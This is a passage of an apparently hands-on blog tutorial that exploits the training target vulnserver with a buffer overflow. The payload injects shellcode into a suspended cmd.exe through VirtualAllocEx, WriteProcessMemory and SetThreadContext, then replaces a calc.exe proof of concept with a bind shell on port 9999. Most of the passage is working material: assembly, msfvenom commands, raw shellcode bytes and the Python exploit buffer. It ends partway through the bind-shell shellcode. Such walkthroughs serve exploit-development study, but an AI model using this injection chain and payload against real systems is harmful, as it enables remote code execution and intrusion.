&lt;p&gt;Now we know that the memory address where this &lt;code&gt;CreateProcessA&lt;/code&gt; API lives is &lt;code&gt;0x77DE2082&lt;/code&gt;, I can call this memory address directly to populate the structure in the stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CALL 77DE2082
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or call it like this. Note that the API name is case sensitive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CALL kernel32.CreateProcessA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But I prefer to store the memory address of the API in a register before calling it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,kernel32.CreateProcessA
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;LastErr ERROR_SUCCESS&lt;/code&gt; means that the API result was successful.&lt;br&gt;
But how do I check that the process was created successfully because we configured the process to remain stealth without opening any window?&lt;/p&gt;

&lt;p&gt;I used &lt;a href="https://processhacker.sourceforge.io/"&gt;&lt;code&gt;Process Hacker&lt;/code&gt;&lt;/a&gt; to see that a new process &lt;code&gt;cmd.exe&lt;/code&gt; was created under &lt;code&gt;vulnserver.exe&lt;/code&gt;. Right clicking the cmd.exe process, I can see there is an option called "Resume". This implies that the process was created in "Suspended" mode, just like what we intended.&lt;/p&gt;


&lt;h3&gt;
  
  
  Step 2 - Allocate memory space to the process
&lt;/h3&gt;

&lt;p&gt;The stack now will represent the structure of the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information"&gt;process information&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess; #70
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the stack, we can see that the memory address &lt;code&gt;0x0174F99C&lt;/code&gt; contains value &lt;code&gt;00000070&lt;/code&gt; that gets populated by the process - this is value of &lt;code&gt;hProcess&lt;/code&gt;, in other words, the process handle or remote control of the &lt;code&gt;cmd.exe&lt;/code&gt; process.&lt;/p&gt;

&lt;p&gt;The next step is to create memory allocation for the process using &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex"&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&lt;/a&gt; API.&lt;/p&gt;

&lt;p&gt;This is the structure of the API arguments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LPVOID VirtualAllocEx(
  HANDLE hProcess, #70
  LPVOID lpAddress, #null
  SIZE_T dwSize, #01F4
  DWORD  flAllocationType, #3000
  DWORD  flProtect #40
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's how I get the values for them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;dwsize: around 500 bytes of memory is needed, so converting the decimal value 500 to hex this value will be 0x01F4.&lt;/li&gt;
&lt;li&gt;flAllocationType: 0x3000. This is the sum of the following:

&lt;ul&gt;
&lt;li&gt;MEM_COMMIT: 0x00001000&lt;/li&gt;
&lt;li&gt;MEM_RESERVE: 0x00002000&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;flProtect: we want the memory to be executable, readable, and writable. 

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants"&gt;PAGE_EXECUTE_READWRITE&lt;/a&gt;: 0x40&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I pop the stack twice to get to the &lt;code&gt;hProcess&lt;/code&gt; value &lt;code&gt;0x70&lt;/code&gt; and loads it into ESI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POP ESI
POP ESI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next pop the top value of the stack into EDI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POP EDI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I will start to construct the arguments for &lt;code&gt;VirtualAllocEx&lt;/code&gt;. The first argument value is 0x40 which is fine to push as is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH 40
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next value is 0x3000 but this can't be pushed directly because contains null byte. So I'll do it like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
MOV CH,30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The third argument is &lt;code&gt;dwSize&lt;/code&gt; which is 0x01F4 (500 bytes):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV CH,1
MOV CL,0F4
PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next argument is null:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Last argument &lt;code&gt;hProcess&lt;/code&gt; is already stored in ESI register so I'll push it into the stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH ESI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally I will call the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,kernel32.VirtualAllocEx
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will return the result which is the address of the allocated memory in the EAX register.&lt;/p&gt;

&lt;p&gt;How do we know that memory was allocated to the process?&lt;/p&gt;

&lt;p&gt;I can attach the process to a debugger, in this case I'm using Windbg:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File &amp;gt; Attach to Process &amp;gt; select cmd.exe&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To attach to the correct process, I'll make sure there are no other &lt;code&gt;cmd.exe&lt;/code&gt; window open, however the process ID can be easily distinguished in Process Hacker.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--g6K4rx4z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kn8qw12yhvfrdcrpi4fw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--g6K4rx4z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kn8qw12yhvfrdcrpi4fw.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Windbg Memory window will show the allocated memory address which is 160000.&lt;br&gt;
This shows that the memory is successfully allocated to the process.&lt;/p&gt;

&lt;p&gt;I'll save the start of memory address somewhere, like in the EBP register.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBP,EAX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Step 3 - Move the bind shellcode into allocated memory.
&lt;/h3&gt;

&lt;p&gt;The final payload will be a bind shellcode but I'll pop calculator as a PoC for now.&lt;br&gt;
Let's generate the shellcode using &lt;code&gt;msfvenom&lt;/code&gt; and add it to the Python script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xda\xd7\xba\x48\x02\x1f\x0f\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xc7\x04\x31\x57\x14\x03\x57\x5c\xe0\xea\xf3\xb4\x66"
"\x14\x0c\x44\x07\x9c\xe9\x75\x07\xfa\x7a\x25\xb7\x88\x2f\xc9"
"\x3c\xdc\xdb\x5a\x30\xc9\xec\xeb\xff\x2f\xc2\xec\xac\x0c\x45"
"\x6e\xaf\x40\xa5\x4f\x60\x95\xa4\x88\x9d\x54\xf4\x41\xe9\xcb"
"\xe9\xe6\xa7\xd7\x82\xb4\x26\x50\x76\x0c\x48\x71\x29\x07\x13"
"\x51\xcb\xc4\x2f\xd8\xd3\x09\x15\x92\x68\xf9\xe1\x25\xb9\x30"
"\x09\x89\x84\xfd\xf8\xd3\xc1\x39\xe3\xa1\x3b\x3a\x9e\xb1\xff"
"\x41\x44\x37\xe4\xe1\x0f\xef\xc0\x10\xc3\x76\x82\x1e\xa8\xfd"
"\xcc\x02\x2f\xd1\x66\x3e\xa4\xd4\xa8\xb7\xfe\xf2\x6c\x9c\xa5"
"\x9b\x35\x78\x0b\xa3\x26\x23\xf4\x01\x2c\xc9\xe1\x3b\x6f\x87"
"\xf4\xce\x15\xe5\xf7\xd0\x15\x59\x90\xe1\x9e\x36\xe7\xfd\x74"
"\x73\x17\xb4\xd5\xd5\xb0\x11\x8c\x64\xdd\xa1\x7a\xaa\xd8\x21"
"\x8f\x52\x1f\x39\xfa\x57\x5b\xfd\x16\x25\xf4\x68\x19\x9a\xf5"
"\xb8\x7a\x7d\x66\x20\x53\x18\x0e\xc3\xab";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I'll add some NOPs (no operation) to partition the rebind shellcode payload from the generated shellcode (our PoC that pops calc) to avoid risking them overwriting each other.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;calc_shell=("\xda\xd7\xba\x48\x02\x1f\x0f\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xc7\x04\x31\x57\x14\x03\x57\x5c\xe0\xea\xf3\xb4\x66"
"\x14\x0c\x44\x07\x9c\xe9\x75\x07\xfa\x7a\x25\xb7\x88\x2f\xc9"
"\x3c\xdc\xdb\x5a\x30\xc9\xec\xeb\xff\x2f\xc2\xec\xac\x0c\x45"
"\x6e\xaf\x40\xa5\x4f\x60\x95\xa4\x88\x9d\x54\xf4\x41\xe9\xcb"
"\xe9\xe6\xa7\xd7\x82\xb4\x26\x50\x76\x0c\x48\x71\x29\x07\x13"
"\x51\xcb\xc4\x2f\xd8\xd3\x09\x15\x92\x68\xf9\xe1\x25\xb9\x30"
"\x09\x89\x84\xfd\xf8\xd3\xc1\x39\xe3\xa1\x3b\x3a\x9e\xb1\xff"
"\x41\x44\x37\xe4\xe1\x0f\xef\xc0\x10\xc3\x76\x82\x1e\xa8\xfd"
"\xcc\x02\x2f\xd1\x66\x3e\xa4\xd4\xa8\xb7\xfe\xf2\x6c\x9c\xa5"
"\x9b\x35\x78\x0b\xa3\x26\x23\xf4\x01\x2c\xc9\xe1\x3b\x6f\x87"
"\xf4\xce\x15\xe5\xf7\xd0\x15\x59\x90\xe1\x9e\x36\xe7\xfd\x74"
"\x73\x17\xb4\xd5\xd5\xb0\x11\x8c\x64\xdd\xa1\x7a\xaa\xd8\x21"
"\x8f\x52\x1f\x39\xfa\x57\x5b\xfd\x16\x25\xf4\x68\x19\x9a\xf5"
"\xb8\x7a\x7d\x66\x20\x53\x18\x0e\xc3\xab")

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90"*10 + payload + "C"*(2500-len(payload)-4-2003-10) + "\x90"*100 + calc_shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To write this shellcode into the allocated memory, &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory"&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt;&lt;/a&gt; API will be used here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer, #the address we want to start copying from stack. Choose from NOP area.
  SIZE_T  nSize, #500 bytes (0x01F4)
  SIZE_T  *lpNumberOfBytesWritten #null
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt; accepts 5 arguments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Last argument is null. &lt;/li&gt;
&lt;li&gt;nSize: how many bytes of memory we're going to write (500 bytes).&lt;/li&gt;
&lt;li&gt;lpBuffer: from where we're going to start writing from.&lt;/li&gt;
&lt;li&gt;lpBaseAddress: the start of memory address allocated by the &lt;code&gt;VirtualAllocEx&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;hProcess: the process handle&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the last argument, give it a null value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR EBX,EBX
PUSH EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second argument &lt;code&gt;nSize&lt;/code&gt; is 500 (0x01F4)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV BH,1
MOV BL,0F4
PUSH EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Third argument is the &lt;code&gt;lpBuffer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since we're trying to copy the data from the stack that contains our PoC shellcode into the memory address, select a few buffer in between to be safe. Ideally this should be up a few bytes, within the NOP sledges area.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uzO4T01R--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6jf8eyxdxjhqzx3wukn5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uzO4T01R--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6jf8eyxdxjhqzx3wukn5.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How to measure the distance?&lt;/p&gt;

&lt;p&gt;The generated &lt;code&gt;msfvenom&lt;/code&gt; payload starts with "DA D7". Check where this resides in the stack, for example the value &lt;code&gt;BAD7DA90&lt;/code&gt; is stored at the address &lt;code&gt;017BFC30&lt;/code&gt;. Double click that address, scroll up to see how far it is from the stack. The top of the stack, where the ESP register points to, is memory address &lt;code&gt;017BF99C&lt;/code&gt; and contains the value &lt;code&gt;01F4&lt;/code&gt;. The debugger shows that the distance (offset) between this selected address and the top of stack is 274.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YWbDWYX1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uqj1vld7kycp6taalduz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YWbDWYX1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uqj1vld7kycp6taalduz.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,ESP
ADD BX,274
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push all the remaining arguments to the stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EBX
PUSH EBP
PUSH ESI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Call &lt;code&gt;WriteProcessMemory&lt;/code&gt; API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,kernel32.WriteProcessMemory
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To confirm this operation is successful, in Windbg, clear the &lt;code&gt;160000&lt;/code&gt; in Memory window and retype it to refresh the data. The memory should no longer contain zero data.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 4 - Get the EIP register value in the primary thread
&lt;/h3&gt;

&lt;p&gt;Type tilda character ~ at the bottom of the Windbg Command window.&lt;br&gt;
This will return the threads, whereby 0 is the primary thread. &lt;/p&gt;

&lt;p&gt;The &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext"&gt;&lt;code&gt;GetThreadContext&lt;/code&gt;&lt;/a&gt; API will be used here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BOOL GetThreadContext(
  HANDLE    hThread,
  LPCONTEXT lpContext
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;lpContext&lt;/code&gt; points to the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-wow64_context"&gt;context structure&lt;/a&gt; which is very big and needs to be far away from the stack.&lt;/p&gt;

&lt;p&gt;Within the context structure, &lt;code&gt;ContextFlags&lt;/code&gt; value should be &lt;code&gt;0x10001&lt;/code&gt; which is the sum of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;0x10000: indicates a 32-bit architecture (CONTEXT_i386)&lt;/li&gt;
&lt;li&gt;0x00001: get the value of EIP register&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We'll choose an offset of &lt;code&gt;0x150&lt;/code&gt; for example, so that when it populates the data, the data will not overwrite existing stuff in the stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX, ESP
SUB BX,150
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create value &lt;code&gt;0x010001&lt;/code&gt; in ECX:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
MOV CX,0FFFF
INC ECX &amp;lt;--- 0FFFF + 1 = 10000
INC ECX &amp;lt;--- 10000 + 1 = 10001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Move the value of ECX (0x10001) to the memory address location pointed by the address of EBX.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV DWORD PTR DS:[EBX],ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push EBX. This will be the first argument &lt;code&gt;lpContext&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push the next argument &lt;code&gt;hThread&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EDI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Call the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,kernel32.GetThreadContext
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Step 5 - Change EIP register value into the allocated memory address.
&lt;/h3&gt;

&lt;p&gt;Now that EIP register value was retrieved via &lt;code&gt;GetThreadContext&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt; can be used to set the value of EIP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BOOL SetThreadContext(
  HANDLE        hThread,
  const CONTEXT *lpContext
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the debugger, double click the address of the stack, scroll up to the address where the thread starts, here's showing an offset value of 98.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--odGtNSgX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v620sjs8vy9bvkt23kj6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--odGtNSgX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v620sjs8vy9bvkt23kj6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV ECX,ESP
SUB CL,98
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Point to EBP which contains the start of allocated memory address (160000):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV DWORD PTR DS:[ECX],EBP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Have to recreate the context structure because it was overwritten by the previous operation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,ESP
SUB BX,150
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push the two arguments for &lt;code&gt;SetThreadContext&lt;/code&gt; and call the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EBX
PUSH EDI
MOV EBX,kernel32.SetThreadContext
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Windbg Command window, type the following command. "e" is to execute commands and "r" is to view registers, in the primary thread 0.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~0 e r
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the value of EIP register to confirm if it was successfully overwritten to &lt;code&gt;16000&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 6 - Resume the thread to execute the bind shell.
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread"&gt;&lt;code&gt;ResumeThread&lt;/code&gt;&lt;/a&gt; API only accepts one argument which is the thread handle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DWORD ResumeThread(
  HANDLE hThread
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push this to the stack and call the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EDI
MOV EBX,kernel32.ResumeThread
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Windbg Command window, type "G" to start the debugger, which will run the instruction at the memory address pointed by the EIP register. This will execute the PoC shellcode and a calculator window should pop up at this point.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 7 - Terminate the &lt;code&gt;vulnserver.exe&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;If I call the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitprocess"&gt;&lt;code&gt;ExitProcess&lt;/code&gt;&lt;/a&gt; API here, it will exit the &lt;code&gt;vulnserver&lt;/code&gt; process and make the port 9999 available again.&lt;/p&gt;

&lt;p&gt;Before that, it's recommended to call the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep"&gt;&lt;code&gt;Sleep&lt;/code&gt;&lt;/a&gt; API to make our &lt;code&gt;cmd.exe&lt;/code&gt; process sleep for 5 seconds so that the &lt;code&gt;vulnserver&lt;/code&gt; process have enough time to exit and release the port 9999:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;void Sleep(
  DWORD dwMilliseconds
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scroll down the stack, find somewhere in the NOP sledge which is closer to the bind shellcode to place the instructions which calls the Sleep API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
MOV CL,88 
MOV CH,13 # hex value 0x1388 (5000 in decimal)
PUSH ECX
MOV EBX,kernel32.Sleep
CALL EBX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember to put some padding between Sleep and Bind Shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90"*10+ payload + "C"*(2500-len(payload)-4-2003-10) + "\x90"*100 + sleep + "\x90"*10 + calc_shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Time to call the &lt;code&gt;ExitProcess&lt;/code&gt; API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;void ExitProcess(
  UINT uExitCode
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Give the ExitCode zero value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
PUSH ECX
MOV EBX,kernel32.ExitProcess
CALL EBX 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the exploit and check if it's popping calculater after sleeping for 5 seconds.&lt;br&gt;
If everything's good, we can replace the payload so that instead of popping calc, creates a bind shell that accepts connection to port 9999 that has been released by the &lt;code&gt;vulnserver&lt;/code&gt; process.&lt;/p&gt;

&lt;p&gt;Generate a shellcode for the bind shell and assign the payload to a variable in the script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; msfvenom -a x86 -platform Windows -p windows/shell_bind_tcp LPORT=9999 -e x86/shikata_ga_nai -b "\x00" -f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1516 bytes
unsigned char buf[] = 
"\xbb\x80\x9d\xd1\x48\xdb\xd4\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
